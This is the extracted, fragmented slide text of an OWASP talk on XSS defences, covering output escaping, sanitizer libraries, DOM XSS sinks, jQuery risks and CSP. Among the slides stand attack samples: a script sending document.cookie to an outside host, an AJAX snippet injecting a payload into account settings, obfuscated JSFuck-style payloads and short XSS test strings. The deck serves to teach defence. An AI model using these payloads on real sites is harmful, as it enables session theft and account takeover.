OWASP LA The Last XSS Defense Talk Jim Manico 2018 08
OWASP LA The Last XSS Defense Talk Jim Manico 2018 08
OWASP LA The Last XSS Defense Talk Jim Manico 2018 08
Output Escaping
HTML Sanitization
Sandboxing
Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript
1 Cookie is stolen.
Hacker can hijack
Hacker sends the Victim’s session.
link to victim.
Link contains
XSS payload.
2 Victim views
page via XSS
link supplied
3 XSS code executes
by Hacker. on Victim’s browser
and sends cookie
to evil server.
<script>
var
badURL='https://manicode.com?data='
+ uriEncode(document.cookie);
new Image().src = badURL;
</script>
ajaxConn1.connect("/account/settings", "POST",
"authenticity_token="+
authtoken+"&user[url]="+xss+"&tab=home&update=update");
""[(!1+"")[3]+(!0+"")[2]+(''+{}
)[2]][(''+{})[5]+(''+{})[1]+(("
"[(!1+"")[3]+(!0+"")[2]+(''+{})
[2]])+"")[2]+(!1+'')[3]+(!0+'')
[0]+(!0+'')[1]+(!0+'')[2]+(''+{
})[5]+(!0+'')[0]+(''+{})[1]+(!0
+'')[1]](((!1+"")[1]+(!1+"")[2]
+(!0+"")[3]+(!0+"")[1]+(!0+"")[
0])+"(3)")()
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([
][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+
[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]
]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!
+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]
+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![
]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![
]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])
[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[
]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+(
[![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(
!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+
!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[
])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
)[+!+[]]])[!+[]+!+[]+[+[]]])()
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 17
Open Source and Cheap XSS Attack Tools
Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript
PHP
http://twig.sensiolabs.org/doc/filters/escape.html
http://framework.zend.com/manual/2.1/en/modules/zend.escaper.introduction.html
Python
Jinja2 Framework has built it and standalone escaping capabilities
"MarkupSafe" library
AntiXSS.NET
Encoder.HtmlEncode(UNTRUSTED)
AntiXSS.NET
Encoder.HtmlAttributeEncode(UNTRUSTED)
<a href="<%=
Encode.forHtmlAttribute(theUrl)
%>">LINK</a>
return uri.toASCIIString();
}
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 40
Escaping When Managing Complete URLs
URL
Assuming the untrusted URL has been properly validated
AntiXSS.NET
<a href="<%= Encoder.HtmlAttributeEncode(untrustedURL) %>">
Encoder.HtmlEncode(untrustedURL)
</a>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScript(alertMsg) %>";
alert(msg);
</script>
AntiXSS.NET
Encoder.JavaScriptEncode(alertMsg)
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
AntiXSS.NET
Encoder.CssEncode(value)
Untrusted
Any Sandboxing and Deliver from Different Dom ain
JavaScript
TinyMCE/CKEditor Widgets
This example displays all plugins and buttons that come with the TinyMCE package.
Python
https://pypi.python.org/pypi/bleach
PHP
http://htm lpurifier.org/
.NET
https://github.com /m ganss/Htm lSanitizer
Ruby on Rails
https://rubygem s.org/gem s/loofah
http://api.rubyonrails.org/classes/HTML.htm l
Java
https://www.owasp.org/index.php OWASP_Java_HTML_Sanitizer_Project
JSoup
The Problem
Web page is vulnerable to XSS because of untrusted HTML.
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("p")
.allowElements(
new ElementPolicy() {
public String apply(String elementName, List<String> attrs) {
attrs.add("class");
attrs.add("header-" + elementName);
return "div";
}
}, "h1", "h2", "h3", "h4", "h5", "h6"))
.build();
String safeHTML = policy.sanitize(untrustedHTML);
elem.innerHTML = DOMPurify.sanitize(dangerous);
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 57
DOM XSS
§ eval()
!
§ window.execScript()/function()/setInterval()/setTimeo
Direct Execution ut(), requestAnimationFrame()
§ script.src(), iframe.src()
§ document.write(), document.writeln()
§ elem.innerHTML = danger, elem.outerHTML = danger
Build HTML/JavaScript
§ elem.setAttribute("dangerous attribute", danger) –
attributes like: href, src, onclick, onload, onblur, etc.
§ onclick()
Within Execution
Context § onload()
§ onblur(), etc
OK OK OK OK
http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/
§ jQuery(danger) or $(danger)
- This immediately evaluates the input!
!
- E.g., $("<img src=x onerror=alert(1)>")
More Danger § jQuery.globalEval()
§ All event handlers: .bind(events), .bind(type, [,data],
handler()), .on(), .add(html)
§ .text(danger)
Safe Examples § .val(danger)
§ .html(DOMPurify.sanitize(danger));
Some serious research needs to be done to identify all the safe vs. unsafe methods.
There are about 300 methods in jQuery
<script>
var elem = document.getElementById('elementId');
elem.textContent = '<%= request.getParameter("data") %>';
</script>
somescript.js SAFE
http://tech.blog.box.com/2013/08/securing-jquery-against-unintended-xss/
<script>{{</script><script>alert(‘XSS’)}}</script>
Node: https://github.com/yahoo/serialize-javascript.
Example:
<script>window.__INITIAL_STATE = <%=
serialize(initialState) %></script>
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 67
https://github.com/yahoo/serialize-javascript
{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}
Attribution-ShareAlike CC BY-SA MANICODE SECURITY 68
Sandboxing
§ Object.seal( obj )
§ Object.isSealed( obj )
Desktop
§ Sealing an object prevents other Application
code from deleting, or changing the
descriptors of, any of the object's
properties
Untrusted
Any Sandboxing and Deliver from Different Domain
JavaScript
§ There are two major features that will enable CSP to help stop XSS.
– Must move all inline script into external files and then enable script-src="self" or similar
– Must use the script nonce or hash feature to provide integrity for inline scripts
Untrusted
Any Sandboxing and Deliver from Different Dom ain
JavaScript